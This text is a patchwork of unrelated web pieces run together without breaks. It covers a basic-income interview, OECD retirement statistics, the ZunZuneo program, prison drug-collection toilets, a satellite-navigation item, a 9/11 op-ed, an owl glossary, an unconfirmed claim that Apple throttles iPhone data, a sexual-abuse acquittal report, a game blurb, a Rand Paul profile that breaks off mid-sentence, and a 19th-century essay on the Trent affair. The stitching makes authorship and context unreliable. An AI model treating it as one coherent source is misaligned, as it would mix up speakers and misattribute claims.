I also think Republicans could support basic income because right now we have a very, very complicated tax code. It's complicated because we have multiple deductions for housing, education, families, and so on. Basic income could be part of an overhaul of the tax code that sheds all of those exemptions, deductions, credits, etc. People could use their basic income to invest as they choose, whether that's in education or the stock market.
At the end of the day, though, it seems that basic income involves some degree of wealth distribution from the rich to the poor.
I don't shy away from the term "redistribution." Basic income involves redistribution. But there's no pure form of distribution just out there in the world. Every regulation we have, whether it's minimum wage or the way capital gains are taxed or bankruptcy laws, involves redistributing our collective economic resources. Basic income as a redistributive measure is democratic in nature, as opposed to those that are actually plutocratic. Basic income gives every citizen a share in economic power, just as a vote gives every citizen a share in political power.-
Do any countries use a form of basic income? Other than Switzerland, is anyone else getting serious about it?
There are no countries that have the kind of universal basic income I've described, but many nations have basic pensions that go to all seniors and child allowances that go to all children, along with universal health care. So they have more universalism in their benefits than the U.S., but even in the more socially democratic nations of Western Europe and Scandinavia, benefits for working-aged adults are generally conditioned on employment. But "good" employment—the kind that is full-time, secure, and pays well—is less available in those countries as well, which is why there is a growing European movement for a basic income.
Why should we be hopeful that basic income will ever come to America?
One reason to be hopeful is that because of the significant amount of activity in Europe—Switzerland, in particular—regarding basic income, there's a lot of discussion about it in American blogs and magazines and newspapers and journals—much more than anytime since the 1960s.
Another reason—and it's a sad reason—is that economic hardship has lingered for a long time since the Great Recession. Unemployment and financial insecurity are climbing up the economic ladder into the middle-class. I think it's an untenable situation. At a certain point, we have to look beyond what we've always done.The average man lives significantly fewer years in retirement than the average woman. This happens because men have a lower life expectancy than women in practically every country in the world, and because the age of retirement is higher for men than women in some countries (counter-intuitively, given the life expectancy gap).
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The OECD (Organisation for Economic Co-operation and Development), a group made up of 35 mostly highly-developed market economies (pictured below), keeps data on this. The OECD average in 2014 was 17.6 years of retirement for men and 22.3 years of retirement for women, giving the 79% figure in the title.
Here are the figures for six particular OECD countries of interest.
U.S. Canada U.K. Germany Australia France Men’s Years 17.1 18.8 18.8 19.4 18.8 23.0 Women’s Years 20.7 23.7 22.7 22.8 23.7 27.2 Percentage 83% 79% 83% 85% 79% 85%
Note that this does not count people who leave the labour market before the age of 40, including many mothers with young children. The OECD thus cautions that their figures under-estimate how many years of retirement women have:
This indicator does not, therefore, capture the labour market behaviour of all women of working age, which leads to an under-estimation of the expected duration of retirement for women. The magnitude of this effect varies across countries.
(It’s unclear whether they mean that a stay-at-home parent would count as retired, which wouldn’t be sensible, or they mean we don’t know what happens when their children turn 18 and they can either retire or continue working with a paid job.)
The OECD data set also includes four major non-OECD countries, where the gender gap in years of retirement is much bigger. (Less developed countries appear more likely to have a gender gap in retirement age—see “Retirement age” on Wikipedia.)
China Brazil Russia South Africa Men’s Years 13.2 13.4 13.0 9.6 Women’s Years 20.4 19.9 19.9 16.3 Percentage 65% 67% 65% 59%
(All figures come from stats.oecd.org, under headers: “Social Protection and Well-being” > “Gender” > “Employment” > “Expected number of years in retirement, by sex”.)
Interestingly, simply calculating years of retirement using retirement age and life expectancy by country from Wikipedia actually yields substantially larger gender gaps in these non-OECD countries. This method tells us that Russian men get not 65% but a mere 24% of Russian women’s retirement years. The reason for the discrepancy between the OECD and this method is unclear, but I’ll defer to the OECD’s presumably more sophisticated method of calculation and just note the difference here at the end.
Country Life Expectancy Retirement Age Years of Retirement Men Women Men Women Men Women Percentage Russia 65 76 60 55 5 21 24% Brazil 71 79 65 60 6 19 32%
AdvertisementsThe AP says that some 40,000 unsuspecting Cubans used the service in its heyday, but it suddenly went dark in 2012 when it ran into the problem most startups inevitably do: It ran out of money. In a bid to polish its veneer of legitimacy, USAID apparently had a sit-down with Jack Dorsey to discuss funding and attempted to install an outsider as CEO. This situation, while utterly fascinating, is loaded with questions. Was it legal? The USAID argues it was -- a spokesperson told the AP that a congressional investigation found the organization's programs legally bueno. Was it ethically questionable? That's another story entirely. ZunZuneo's mass messaging was valuable in a country where internet access is limited at best, but Senator Patrick Leahy (D-VT) lays out the issues nicely:
"There is the risk to young, unsuspecting Cuban cellphone users who had no idea this was a US government-funded activity. There is the clandestine nature of the program that was not disclosed to the appropriations subcommittee with oversight responsibility. And there is the disturbing fact that it apparently activated shortly after Alan Gross, a USAID subcontractor who was sent to Cuba to help provide citizens access to the internet, was arrested."A plan by Corrections Canada to spend $266,918 on special toilets to collect drugs and other contraband that inmates store in their body cavities is being pooh-poohed by the country's prison watchdog.
The Correctional Service of Canada recently issued a tender stating it will buy five Drugbuggy Ranger toilets. The portable stainless steel toilets collect and separate contraband from bodily waste in such a way that a prison worker doesn't have to touch or sort through it.
But Howard Sapers, who reviews prison policies and procedures as Correctional Investigator of Canada, says he's not aware of any uptick in drug smuggling that would warrant the toilet spending.
"I'm not aware of any business reasons to invest more in that technology."
Howard Sapers, the Correctional Investigator of Canada since February 2004, doesn't see a need for new drug collection toilets. (Roy Grogan)
If anything, Sapers said the number of people using contraband drugs in prison seems to have hit a plateau.
"The Correctional Service of Canada argues that it doesn't have the resources to, for example, spend more on programming or putting more resources into integration services," said Sapers.
"If they don't have the resources for that part of their mandate, which is the safe and timely return of offenders to the community, then I would be really interested in seeing the business case that results in spending more money on this technology."
Sapers said the $266,918 would be better spent on programs to help rehabilitate inmates.
Working to reduce contraband in prisons
Corrections Canada did not address Sapers's criticism when it responded to questions from CBC News.
It said in an email it is committed to reducing the amount of contraband and drugs getting into correctional institutions, and provide a safe and healthy environment for staff, offenders and members of the public.
The correctional service also said it does ensure inmates receive "the right program at the right time during their sentence" and that "correctional programs are offered to those who most need them."
Those programs include courses to help inmates be accountable for their behaviour, change pro-criminal attitudes and learn how to manage problematic behaviour.
Robust chemical toilets
The tender says the five Drugbuggy Ranger toilets will be delivered to Alberta, British Columbia, Nova Scotia, Ontario and Quebec. They are made by Drugloo UK Ltd.
"Drugloos are basically chemical toilets, very robust, they're built from stainless steel, with a life expectancy of around 25 years," said John Baker, the company's managing director.
Drugloo offers a range of toilets, including the Drugloo Covert. This model is meant to be hidden behind a regular toilet and can intercept anything that's flushed. (Drugloo UK Ltd.)
He said anyone suspected of carrying drugs or other contraband inside their bodies only needs to be seated on one of his company's toilets and the call of nature will take care of the rest.
"Everything they pass goes into... a hermetically sealed agitation unit with a viewing panel. Water and detergent sprays come into the agitation area, basically blow away all the debris," he said.
"So you're left with whatever item you're looking for which is all nice and clean and smells kind of pleasant."
Drugloos already in prisons and airports
This is one of the big selling points for the correctional service. In its tender, it said the equipment is required so workers can remove the contraband in a safe and sanitary way, without actually coming into physical contact with human waste.
Baker said Drugloo's system keeps correctional workers safe because they aren't exposed to the risk of infection or disease from contaminated waste.
Canada is one of Drugloo's biggest customers, Baker said. Its units are already available in several Canadian prisons and at every major airport.
The correctional service tender calls for the Drugloo toilets to be delivered no later than March 31.Russia and China have achieved a significant progress in the synchronization of GLONASS and BeiDou navigation systems, according to Roscosmos head Igor Komarov.
© Sputnik / Vladimir Baranov High-Precision System for Real-Time Navigation Data of GLONASS Ready for Service
MOSCOW (Sputnik) — Russia and China have achieved a significant progress in the synchronization of GLONASS and BeiDou navigation systems, Roscosmos head Igor Komarov said Monday.
"We have achieved a considerable progress in the field of cooperation… on the harmonization and synchronization of GLONASS and BeiDou systems. All contracts have been signed, and the work is proceeding. There are prospects, there is great interest on the part of the partners in different fields: the engines, the joint development of launch vehicles, manned space programs, conducting of experiments at the low-Earth orbit," Komarov told Kommersant newspaper in an interview.
In May 2015, China and Russia signed the BeiDou-Glonass system compatibility and interoperability cooperation agreement, marking a new stage of navigation cooperation between the two countries.
The GLONASS project, which was launched in 1993, is operated by the Russian Aerospace Forces and consists of 27 satellites, 24 of which are operational. The system allows real-time positioning and speed data for surface, sea and airborne objects around the world.
BeiDou currently provides navigation services within China and the neighboring regions. After completion, the project would become an equivalent of GPS, Glonass and Europe's Galileo.It has been 13 years since the 9/11 attacks. Since then, many paths have been set upon their tangents. The event also established one key fact: nobody knows what is going on. From the US administration and its intelligence bodies to those of the rest of the world, no one can be credited for pointing out the inevitable course of those hijacked planes. This leads to the second important key fact: leaders are phonies. They are mostly men in suits who are clueless about what lies in the future. Yet they behave like they have all the answers and compete with each other about who knows how to pretend they know more.
Pakistan’s course was altered because we had to make a deal and declare war on the elements that believed ideologically in the annihilation of everything western and, by their imagination, progressive. Whatever the reasons for this new course in Musharraf’s Pakistan — arm-twisting, greed or wisdom — Pakistan was saved from itself. It was cured from a growing malignancy in the form of extremism that was being bred as a weapon against those the Pakistan army perceived as enemies. The war on terror turned the guns towards those very festering militants they were breeding. Fact: even the Taliban and al Qaeda factions had no clue what was hitting them. Pakistanis, especially the diaspora, were saved too. Isolation is not particularly enjoyable.
The US is among the most plural and tolerant societies, even though it is agreed that the Swedes of the world put it to shame thanks to Fox News and all, but it still remains true to its promise of granting hard work a fair break and opportunity. Right after 9/11 though, the US dream carried a clause that blocked Muslims from its promise.
Having the unfortunate timing of graduating from a US university at the time, I felt the doors close on me and others like me. I also had turned silent; it was not my time to speak during a period of such national grieving. Their loss was something that I could feel but not internalise to the point that they could. I could only internalise my shame. The narrative had turned bitter: all Muslims were terrorists. A man refused to sit next to me because my country ended with ‘stan’. One was expected to condemn the attacks immediately after one said one’s name, people in authority were just harsher and those who were not were abrasive. Kind of like a usual day for an Ahmedi, Shia or Christian in Pakistan even without them ramming planes into buildings and military headquarters.
So it helped that we were a supposed ally in a war against those who would use such ghastly violence as a political tool. For a while. Then you realised that many in the US did not get that memo. They could not point out that Pakistan and Afghanistan were not interchangeable or where they were on a world map. US Pakistanis ran out of space. Momentarily. Pakistanis ran out of space entirely. This was not just unpredictable but also seemingly unsolvable. There was no quick way to restore the name of the country as one that used its soil to nurture physicists and artists and not terrorists with a golden ticket to world domination. There was only a long way to do that. That way was to actually nurture physicists and artists. More importantly, nurture people who have humanity. Those heroes like Salman Hamdani who went into the twin towers to save people.
Inductive reasoning explaining that 9/11s will not happen because no planes had ever been rammed into buildings in New York and the Pentagon before does not work. When people fall victim to their own fallacies in thinking they get so discombobulated that they turn to religion, superstition or, in Pakistan’s case, conspiracy theories to explain how things happen.
The danger of superstitions and conspiracy theories is that they take away our ability to understand futures. They act like black screens before our eyes. They focus on first identifying an enemy then blaming them and often the one against whom the aggression is committed is the focus of wrath. It is a form of victim blaming. We saw it with Malala Yousafzai, the young activist and educationist shot by the Taliban. As the reaction to Malala’s killer’s being caught comes in, we realise that the conspiracies hatched against her are just as alive. Fortunately for her, she has gone on to do more for education of the girl child than anyone has done to date. The Punjab and Kashmir floods were another inductive reasoning disaster: the Chenab had never flooded before. The theory: the people must have sinned.
9/11s, like all unforeseen calamities, will continue to happen. We have to realise that we will need to keep choosing the side we want to be on when it happens. Know also that there is a side that we can be before it happens; that side is reason.
The author is a freelance writer based in Islamabad. She blogs at www.aishasarwari.wordpress.com. She can be followed on Twitter @AishaFsarwari and can be reached at aishafsarwari@gmail.comBen Barnicoat has become the 2014 Formula Renault 2.0 NEC champion after the last race of the season at the Nurburgring was cancelled.
In the early morning, there was heavy fog at the top of the circuit, causing the start to be delayed. However, when fifteen minutes later rain also arrived, the organizers were forced to cancel the race because of time constraints on the Blancpain Endurance Series weekend.
Having been leading the championship by 16 points, this allowed Barnicoat to take the title in an unusual way. The Briton had been due to start in 15th place on the grid for the final race.
Louis Deletraz had to settle with second, while there was a tie in the points between Seb Morris and Steijn Schothorst for third. However, as Morris had two wins throughout the season, compared to Schothorst’s one victory, the Welshman ended the season in third.
This is the second Formula Renault NEC race to be cancelled in the last two weekends. In the penultimate round at Most, the finale race was also postponed due to heavy rain, but this race was later held on the Friday at Nurburgring.While the generously-sized Nexus 6 is already available in the US, it seems to have missed its slated UK arrival date of December 1. Now, however, one major UK network is offering it for sale, with others saying it’ll still be another week or two before it arrives.
O2 confirmed today that the device is available on its unbundled ‘Refresh’ tariff at a range of price points offering between 500MB and 8GB of data usage each month. The operator is also running a Nexus 6-specific promotion until December 18 making the total cost £38 per month (with no upfront payment) for unlimited airtime, unlimited SMS and 2GB of data.
While the network said it was offering the device from today, its website is currently still listing the device as ‘coming soon‘. A spokesperson told TNW that the online order process is due to go live today though.
Vodafone’s website is also listing the device as available to pre-order, with delivery due in the next 1- 2 weeks. Obviously, the Google Play store is another possible purchase route – where it costs £499 for the 32GB model and £549 for the 64GB – but neither configuration is currently available. Neither Three nor EE has the device listed on their respective sites, so there’s little chance of picking one up on either of those networks directly.
Read next: You can now watch Sky TV live on your PlayStation 4By Deane Lewis
Painting by Painting by Madeline von Foerster
Associated Words:
Adjectives: Something that is like an Owl is said to be "Owlish" or "Strigine"
Adverb: "Owlishly"
Collective noun: A group of Owls is called a Parliament, but also see below.
Offspring: A baby owl is called an Owlet.
Origins of the Word "Owl"
The word owl originated in early European languages. In old Norse, an Owl was known as "ugla", and in old German, it was "uwila". Both of these words may have been created as sounds that described the unique call of an Owl.
In Old English (about 600 A.D. to about 1000 A.D.), owl was "ule", a word similar to the original Dutch word.
In Middle English (about 1000 A.D. to the 1400s), the word became "owle", later shortened to the form we use today.
Throught this time, various early written records have variations on this spelling, including "uwile", "oule", "owell", "hoole", and "howyell".
Other ancient cultures also had words for "owl" that described the Owl's hooting call - In India, Owls were once known as "oo-loo" and in Hebrew, "o-ah".
Origins of the Scientific Names
Strigiformes: All Owls are classified as members of this order. The name is formed from "Strig", the plural form of the Latin word "strix", meaning "owl" and "formes", meaning "forms".
Strigidae: The family for all Owls except Barn Owls, derived from "Strix", a Latin word for owl (also the same in Greek)
Tytonidae: All barn owls are members of this family. The name is derived from the Greek word "tuto", which means "owl".
Aegolius: A Latin word for bird of prey. It is also similar to the Greek word "aigolios" meaning a bird that is an evil omen.
Asio: Attributed to Pliny the Elder in his "Naturalis Historia" around 77 AD. Latin for 'Horned Owl'.
Athene: One of the ancient Greek deities, originally known as the goddess of night. She was symbolized by the image of an Owl. Over time, her role evolved into the goddess of war, wisdom, and the liberal arts.
Glaucidium: The diminutive form of the Greek word "glaux", or "little owl".
Micrathene: Formed from the Greek word "mikros", meaning "small".
Nyctea: From the Greek word "nuktia", meaning "of the night" (This genus name is no longer used for owls).
Otus: A variation of the original Greek word "otos", meaning "owl".
Tyto: A variation of the Greek word "tuto", meaning "owl".
Collective Nouns
While "parliament" is the generally accepted word for a group of owls, here are alternatives and additions that I've seen:
A bazaar of Owls
A brood of Owls
An eyrie of Owls
A hooting of Owls
A looming of Owls
A nest of Owls
A stooping of Owls
A brood of Owlets
A diss of Owls
A pair of Owls
A parliament of Owls
A sagaciousness of Owls
A stare of Owls
A wisdom of Owls
A stable of Barn Owls
A jail of Barred Owls
A prohibition of Barred Owls
A schizpphrenia of Hawk Owls
A volery of Little Owls
A parliment of Long-eared Owls
A blizzard of Snowy OwlsJoseph Brown, the guy behind the recent string of hacked carrier updates, has posted a rather interesting report this morning on why he thinks the hacks have been so successful. And the reason may just surprise you.
As it turns out, Brown has discovered that Apple is working with wireless carriers to implement coding in iOS to purposely slow down or limit the data speeds a device can achieve. And yes, he has the proof to back it up…
From Brown’s report on iTweakiOS:
“Apple and the carriers have implented coding to purposely slow down or limit the data speeds the device can achieve. “But, why would they do this?” you may ask. Well, every single reason as to why is simply something we can’t answer. However, from previous statements released by AT&T and many tech orginizations, iPhones are very complex devices with a very complex OS. The OS eats much more data, even when in idle mode, than most phones on the market. So by carrier request, Apple limits devices to “even out” the network, even if it means Galaxy users out perform Apple devices by such large scales.”
He then goes on to post a series of screenshots of code he pulled from the various carrier settings files inside iOS. He has one for each major US carrier, although he says that T-Mobile is actually not guilty of the data throttling.
For example, here’s his analysis of AT&T:
“Here in this snapshot of AT&T’s network settings, you can see they have limited the iPhone 5 to Category 10 (14.4Mbps) HSDPA, even though their network is actually capable of up to Category 14 (21.1Mbps) HSDPA+ and the iPhone 5 “officially” supports up to category 24 (42.2Mbps) DC-HSDPA+. For those of you wondering, HSDPA is the downlink channel or “download side” of the 3G/4G HSPA(+) network.”
“Here we can see what is quite obvious to, really, anyone at this point from being jerked around so much by carriers. Yes folks, this is throttling coding. When we made the AT&T Hacked Carrier Update, this was the first line of coding to be scrapped when the project started. Immediately, through my testing on an AT&T iPhone 5 and iPad 4th generation, there were significant and noticeable results.”
Unfortunately, most of this stuff goes over my head. But if legitimate, this could upset a lot of iPhone and iPad users that not only pay extra for top-notch hardware, but also high speed wireless service from their carrier.
To learn more, you can read Brown’s full report here. And you can find more details on the aforementioned carrier hacks for Sprint here, Verizon here, and AT&T here.A judge on Wednesday acquitted a 31-year-old Portland Public Schools employee charged with sexually abusing a 7-year-old developmentally disabled student in a school bathroom.
Multnomah County Circuit Judge David Rees found Brett Christy-Hamilton not guilty of two counts of first-degree sexual abuse.
The case was "a textbook example of how an innocent person can be charged with a heinous crime he did not commit," said Christy-Hamilton's defense attorney, Stephen Houze. Houze described the case as an "incredible ordeal" for his client and "an nightmare for his entire family."
Christy-Hamilton had been accused in November 2015 of molesting the girl -- under the guise of helping her wipe while on the toilet -- at her Southeast Portland school. He was immediately placed on administrative leave.
The Oregonian/OregonLive generally doesn't identify alleged victims in sex abuse cases, so isn't naming the girl, her parents or her school.
Christy-Hamilton was assigned to assist the girl as her paraeducator throughout the school day because of her disabilities.
Houze criticized the school district for forcing Christy-Hamilton to accompany the girl to the bathroom without providing him a written plan or clear direction on whether she needed help pulling down her pants or wiping. Christy-Hamilton and two other paraeducators called a meeting in 2013 with district administrators to strongly object to the directive that they help students -- including children of the opposite sex -- with the toilet, Houze said. But they were told they must do it or else face firing, according to a witness called by the defense.
"They were told by the union president and (a district administrator) under no circumstances could they refuse to do this," Houze said. "This was their job description."
On the second day that Christy-Hamilton accompanied the girl to the school bathroom, she went home that afternoon and told her parents that Christy-Hamilton had abused her, according to their testimony.
The girl has severe speech impairments, so much so that the detective investigating the case, the prosecutor and the judge all said or acknowledged that they had serious trouble understanding her. The case hinged largely on the interpretations of her speech by her mother, who said she was able to understand her daughter and vocalized her daughter's answers to child-abuse investigators.
The investigators also then conducted a separate interview of the girl without her mother present, but Christy-Hamilton's defense contended the girl was asked leading questions.
Houze contended that it was impossible that the girl could have offered such a detailed account of what happened: That on two consecutive days Christy-Hamilton stepped into a bathroom stall with her, pulled down her pants and rubbed her genital area. The girl also reportedly said Christy-Hamilton moved his fingers around while not holding toilet paper.
"It is absurd in the extreme to believe that this child -- who we know has such severe communication disorder -- would be even capable of having the conversation that her mother says quote and unquote this is what she said to me," Houze said during closing arguments.
In questioning the lawyers during closing arguments Tuesday, the judge said he agreed with the defense that the girl couldn't have offered as much detail as claimed by a doctor who interviewed her.
"We know from hearing from (the girl in court) that there's no way the conversation proceeded like that," Rees said. "...Verbatim, it couldn't possibly have gone like that."
Brett Christy-Hamilton acquitted of charges of sexual abuse of a student at PPS school. 4 Gallery: Brett Christy-Hamilton acquitted of charges of sexual abuse of a student at PPS school.
But prosecutor Chuck Mickley said that despite the girl's speech impairments, she was capable of clearly articulating answers to yes and no questions -- and despite her speech difficulties, could be understood by her mother when she spoke other words.
"(She) has the ability to say yes and no," Mickley said. "You can believe those statements. You should believe those statements."
Mickley pointed to testimony of others, including a female paraeducator who accompanied the girl to the school restroom when she was a kindergartner. That paraeducator said the girl didn't need help with wiping after using the toilet -- except one time during her kindergarten year. Christy-Hamilton became responsible for bringing the girl to the bathroom when the girl was in first grade.
Christy-Hamilton's defense argued that the girl's mother was motivated to secure a conviction because she hoped to file a lawsuit against the school district. The defense contended that the girl's parents are financially strapped and the mother filed a tort claim notice last year, reserving her right to sue the school district for the alleged abuse and for allegedly failing to protect her daughter from Christy-Hamilton.
But the prosecutor said there's no evidence the girl's mother was motivated by money, the mother has no "ax to grind" with Christy-Hamilton and the mother has shown herself to be a credible witness. Mickley said like any parent, the girl's mother wished her daughter hadn't fallen victim to sexual abuse.
"It's not as though this is what Mom wants to hear," Mickley said. "... It's the last thing that a parent wants to believe, that somebody you love has been sexually abused."
Christy-Hamilton faced a prison sentence ranging from 6 1/4 to 12 1/2 years if convicted.
Each day of the six-day trial was attended by the girl's parents and other members of her family. As the judge announced his verdict, the parents sat in the courtroom gallery holding hands, then shortly after that quietly left the courtroom.
Christy-Hamilton's wife, parents and other supporters also sat through the trial. Christy-Hamilton's father, Peter Hamilton, was Lincoln High School's principal before he retired. His mother is a retired teacher.
After the verdict, Christy-Hamilton walked out of the courtroom and into the arms of his wife. Christy-Hamilton declined to comment to The Oregonian/OregonLive.
Houze said Christy-Hamilton has been on administrative leave -- most of it unpaid -- for more than 15 months, since the day after the girl made the accusation. Houze said that even though his client has been acquitted, it's unclear if he'll get his job back with Portland Public Schools.
Attorney Jake Houze, who is Stephen Houze's son, also represented Christy-Hamilton.
-- Aimee GreenNavigate the maze of your cabin in the woods -- but your cabin has never been this big...
Collect keys, letters, memories that have fallen to the wayside -- or are they just dreams?
With your old Polaroid SX 70, and of course the help of your chosen Companion, destroy whatever (ghosts? ghouls? things that go bump in the night?) impedes your way.
Why are you doing this? Is there an end goal? What are these switches you keep pressing? The cranks you continue to turn? Are they changing anything at all?
Who keeps playing the piano?
Something isn't right.
Step into a surreal adventure in a corrupted dream world and join one of three companions to unravel the unsettling mysteries of Hiraeth. Traveling alongside Princess Pocket the Persian, Hesitate the Woodland King, or Felix the Ghost Cicada, explore an elegant (and strangely unending) cabin frozen in antiquity as The Dreamer, and fall into an intriguing plot of dreams, memories you can never fully remember, and psychological horrors.Hiraeth is a debut game from an as-of-yet-undecided production company consisting of two first-time developers, and long time gamers -- especially of the Horror genre. Hiraeth is being developed in RPG Maker, and differentiating the game from the sea of RPG Maker games is a top priority. As it is still in the early stages of development, you can expect fresh and original pixel art and tile assets in the final product.Hopefully you will fall as much in love with it as we have.Sen. Rand Paul (R-Ky.) is quickly establishing himself as the conservative option in the 2016 Republican presidential primary.
Paul's statement at Wednesday's Senate hearing on Libya that he would have fired Secretary of State Hillary Clinton will be replayed over and over on cable news in the hours to come. But it's hardly the first time he's put himself in the middle of a controversy — and chosen about the most conservative posture possible.
A recent sampling:
1. He had arguably the biggest soundbite of Clinton's Senate testimony Wednesday, saying, "Had I been president at the time, I would have relieved you of your post." Soon after, he sent video of his comments to his supporters with a paraphrase of that quote in the subject line.
2. On Monday, he came out against House Republicans' three-month debt ceiling extension, a bill that has gotten the approval (or at least avoided the opposition) of many conservative House Republicans and the conservative Club for Growth. “I saw the speaker on TV handing the newly sworn-in president a flag. I am afraid it was the white flag of surrender,” Paul said at an event in Charleston, S.C., according to Politico. Paul said Boehner "retreated" from the fight.
3. He was one of just five Senate Republicans to vote against the "fiscal cliff" deal on New Year's Day, calling it a "spending bill." He also offered this zinger: "You may not get any more revenue. You may not get any more economic growth. But you can say, ‘I stuck it to the rich people.' " Notably, Paul was joined by another 2016 contender, Sen. Marco Rubio (R-Fla.).
4. Paul last month opposed the Hurricane Sandy relief bill, offering an amendment that would have shrunk the amount of money appropriated to only the amount needed for one year.
5. Last week, he took a big swing at New Jersey Gov. Chris Christie (R) for Christie's recent criticisms of the NRA and the lack of a Sandy relief bill. “I think criticizing the Second Amendment movement and the over-the-top 'give me my money' stuff — 'I want all 60 billion now or I'll throw a tantrum' — I don't think that's going to play well in the Republican primary," Paul said.
(Side note: This Paul comment plus Paul's comment at Wednesday's hearing — "Had I been president..." — are not mistakes. He's clearly interested |
for the slave republic was that slave ships had hitherto been protected by the American flag from the right of search claimed by Britain. And then this philanthropist launched a furious attack on the slave trade! He admitted that England had brought about the war of 1812-14 with the United States by insisting on searching for deserters from the British Navy on Union warships.
"But," he continued with wonderful dialectic, "but there is a difference between the right of search to recover deserters from the British Navy and the right to seize passengers, like Mr. Mason and Mr. Slidell, men of the highest respectability, regardless of the fact that they were protected by the British flag!"
He played his highest trump, however, at the close of his diatribe.
"The other day," he bellowed, "while I was on the European Continent, I heard an observation made as to the course of our conduct in regard to the United States, and I was unable to reply to the allusion without a blush -- that the feeling of every intelligent man upon the Continent was that we would submit to any outrage and suffer every indignity offered to us by the Government of the United States. But the pitcher goes so often to the well that it is broken at last. Our patience had been exercised long enough! At last we have arrived at facts: this is a very hard and startling fact [!] and it is the duty of every Englishman to apprise the Government of how strong and unanimous is the feeling of this great community of the outrage offered to our flag."
This senseless rigamarole was greeted with a peal of applause. Opposing voices were howled down and hissed down and stamped down. To the remark of a Mr. Campbell that the whole meeting was irregular, the inexorable Spence replied: "I perfectly agree with you that it is a little irregular but at the same time the fact that we have met to consider is rather an irregular fact." To the proposal of a Mr. Turner to adjourn the meeting to the following day, in order that "the city of Liverpool can have its say and not a clique of cotton brokers usurp its name", cries of "Collar him, throw him out!" resounded from all sides. Unperturbed, Mr. Turner repeated his motion, which, however, was not put to the vote, again contrary to all the rules of English meetings. Spence triumphed. But, as a matter of fact, nothing has done more to cool London's temper than the news of Mr. Spence's triumph.
London, December 7, 1861
The Palmerston press (and on another occasion I will show that in foreign affairs Palmerston's control over nine-tenths of the English press is just as absolute as Louis Bonaparte's over nine-tenths of the French press) -- the Palmerston press fells that it works among "pleasing hindrances". On the one hand, it admits that the law officers of the Crown have reduced the accusation against the United States to a mere mistake in procedure, to a technical error. On the other hand, it boasts that on the basis of such a legal quibble a haughty ultimatum has been presented to the United States such as can only be justified by a gross violation of law, but not by a formal error in the exercise of a recognised right. Accordingly, the Palmerston press now pleads the material legal question again. The great importance of the case appears to demand a brief examination of the material legal question.
By way of introduction, it may be observed that not a single English paper ventures to reproach the San Jacinto for the visitation and search of the Trent. This point, therefore, falls outside the controversy. First, we again call to mind the relevant passage in Victoria's proclamation of neutrality of May 13, 1861. The passage reads:
"Victoria R."
Whereas we are at peace with the United States... we do hereby strictly charge... all our loving subjects... to abstain from contravening... our Royal Proclamation... by breaking... any blockade lawfully... established... or by carrying officers... dispatches... or any article or articles considered contraband of war.... All persons so offending will be liable... to the several penalties and penal consequences by the said Statute or by the law of nations in that behalf imposed.... And... persons who may misconduct themselves... will do so at their peril... and... will... incur our high displeasure by such misconduct.
This proclamation of Queen Victoria, therefore, in the first place declared dispatches to be contraband and make the ship that carries such contraband liable to the "penalties of the law of the nations". What are these penalties?
Wheaton, an American writer on international law whose authority is recognised on both sides of the Atlantic Ocean alike, says in his Elements of International Law, p. 565
"The fraudulent carrying of dispatches of the enemy will also subject the neutral vessel in which they are transported to capture and confiscation. The consequences of such a service are indefinite, infinitely beyond the effect of any contraband that can be conveyed. 'The carrying of two or three cargoes of military stores,' says Sir W. Scott [the judge], 'is necessarily an assistance of limited nature; but in the transmission of dispatches may be conveyed the entire plan of a campaign, that may defeat all the plans of the other belligerent.... The confiscation of the noxious article, which constitutes the penalty for contraband... would be ridiculous when applied to dispatches. There would be no freight dependent on their transportation and therefore this penalty could not, in the nature of things, be applied. The vehicle, in which they are carried, must, therefore, be confiscated.."
Walker, in his Introduction to American Law, says:
"...neutrals may not be concerned in bearing hostile dispatches, under the penalty of confiscation of the vehicle, and of the cargo also."
Kent, who is accounted a decisive authority in British courts, states in his Commentaries:
"If, on search of a ship, it is found that she carries enemy dispatches, she incurs the penalty of capture and of confiscation by judgment of a prize court."
Dr. Robert Phillimore, Advocate of Her Majesty in Her Office of Admiralty, says in his latest work on international law, p. 370:
"Official communications from an official person on the public affairs of a belligerent Government are such dispatches as impress an hostile character upon the carriers of them. The mischievous consequences of such a service cannot be estimated, and extend far beyond the effect of any Contraband that can be conveyed, for it is manifest that by the carriage of such dispatches the most important operations of a Belligerent may be forwarded or obstructed.... The penalty is confiscation of the ship which conveys the dispatches and...of the cargo, if both belong to the same master."
Two points are therefore established. Queen Victoria's proclamation of May 13, 1861, subjects English ships that carry dispatches of the Confederacy to the penalties of international law. International law, according to its English and American commentators, imposes the penalty of capture and confiscation on such ships.
Palmerston's organs consequently lied on orders from above -- and we were naive enough to believe their lie -- in affirming that the captain of the San Jacinto had neglected to seek for dispatches on the Trent and therefore had of course found none; and that the Trent had consequently become shotproof through this oversight. The American journals of November 17 to 20, which could not yet have been aware of the English lie, unanimously state, on the contrary, that the dispatches had been seized and were already in print for submission to Congress in Washington. This changes the whole state of affairs. Because of these dispatches, the San Jacinto had the right to take the Trent in tow and every American prize court had the duty to confiscate her and her cargo. With the Trent, her passengers also naturally came within the pale of American jurisdiction.
Messrs. Mason, Slidell and Co., as soon as the Trent had touched at Monroe, came under American jurisdiction as rebels. If, therefore, instead of towing the Trent herself to an American port, the captain of the San Jacinto contented himself with seizing the dispatches and their bearers, he in no way worsened the position of Mason, Slidell and Co., whilst, on the other hand, his error in procedure benefited the Trent, her cargo and her passengers. And it would be indeed unprecedented if Britain wished to declare war on the United States because Captain Wilkes committed an error in procedure harmful to the United States, but profitable to Britain.
The question whether Mason, Slidell and Co., were themselves contraband, was only raised and could only be raised because the Palmerston journals had broadcast the lie that Captain Wilkes had neither searched for dispatches, nor seized dispatches. For in this case Mason, Slidell and Co. in fact constituted the sole objects on the ship Trent that could possibly fall under the category of contraband. Let us, however, disregard this aspect for the moment. Queen Victoria's proclamation designates "officers" of a belligerent party as contraband. Are "officers" merely military officers? Were Mason, Slidell and Co. "officers" of the Confederacy? "Officers," says Samuel Johnson in his dictionary of the English language, are "men employed by the public", that is, in German: Öffentliche Beamte. Walker gives the same definition. (See his dictionary, 1861 edition.)
According to the usage of the English language, therefore, Mason, Slidell and Co., these emissaries, id est, officials of the Confederacy, come under the category of "officers", whom the royal proclamation declares to be contraband. The captain of the Trent knew them in this capacity and therefore rendered himself, his ship and his passengers confiscable. If, according to Phillimore and all other authorities, a ship becomes confiscable as the carrier of an enemy dispatch because it violates neutrality, in a still higher degree is this true of the person who carries the dispatches. According to Wheaton, even an enemy ambassador, so long as he is in transitu, may be intercepted. In general, however, the basis of all international law is that any member of the belligerent party may be regarded and treated as "belligerent" by the opposing party.
"So long as a man," says Vattel, "continues to be a citizen of his own country, he is enemy of all those with whom his nation is at war."
